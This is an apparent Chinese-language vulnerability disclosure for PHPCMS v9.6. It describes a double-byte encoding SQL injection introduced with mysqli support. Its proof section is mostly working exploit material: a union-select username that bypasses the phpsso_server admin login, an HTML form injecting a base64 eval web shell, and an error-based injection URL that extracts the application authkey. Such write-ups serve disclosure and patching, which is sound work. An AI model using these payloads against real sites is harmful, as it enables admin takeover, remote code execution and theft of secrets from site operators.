一个不应该出现的错误导致phpcmsV9.6被秒杀

详细说明:

PHP双字节编码,这个本不应该出现的问题,或许因为过去太久远快被遗忘了,phpcms从20140929的v9.5.9版本起,增加了mysqli的支持,因为编写疏忽,导致该问题又重现江湖。漏洞本身无需细说。phpcms默认使用mysqli数据库,显示mysql语句错误(debug为true,呵呵完全可以爆错注入),而且安装过程不能修改。

漏洞影响:利用20140929的v9.5.9以后版本新建站点,以前版本升级的不受影响,故自评Rank为15

漏洞危害:高。利用漏洞直接登陆phpsso_server后台获取shell、注入等。

漏洞证明:

1、登陆登陆phpsso_server后台

用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k
密码:1

21175433f7b248e43d8725b4c42a695f8bae4824[1]

2、利用phpsso_server/phpcms/modules/admin/messagequeue.php页面的string2array函数获取shell。测试代码另存为html文件,登陆phpsso_server后,提交即可。测试时,请修改form的action属性。

3、注入。访问链接:http://127.0.0.1/phpcmsv9/index.php?m=pay&c=respond&a=respond_get&code=kkk%89' and extractvalue(1, concat(0x7e, (select substr(authkey,1,30) FROM v9_sso_applications where appid=1),0x7e))--%20m

211744016a16a6842077a6909d982b304bde11ca[1]

测试代码:

<form  action="http://127.0.0.1/phpcmsv9/phpsso_server/?m=admin&c=messagequeue&a=renotice" method="POST" target="_blank" enctype="multipart/form-data">
noticeid:<input type="text" name="noticeid" id="noticeid" value="誠' union select 1,2,3,4,0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B,6,7-- k" size=100/><br>
cmd:<input type="text" name="cmd" id="cmd" value="cGhwaW5mbygpOw=="/>phpinfo();<br>
<input type="hidden" name="appid" id="appid" value="1"/>
<input type="submit" value="提交"/>
</form>
<hr>
说明:<br>
1、登陆phpsso_server<br>
用户名:誠' union select 1,0x706870636D73,0x3831346539303966363566316439313263646237636333393833623934333239,4,1,6,7 -- k<br>
密码:1<br>
2、登陆后,提交获取shell<br>
0x617272617928293B6576616C286261736536345F6465636F646528245F504F53545B636D645D29293B657869743B<br>
array();eval(base64_decode($_POST[cmd]));exit;<br>

发表评论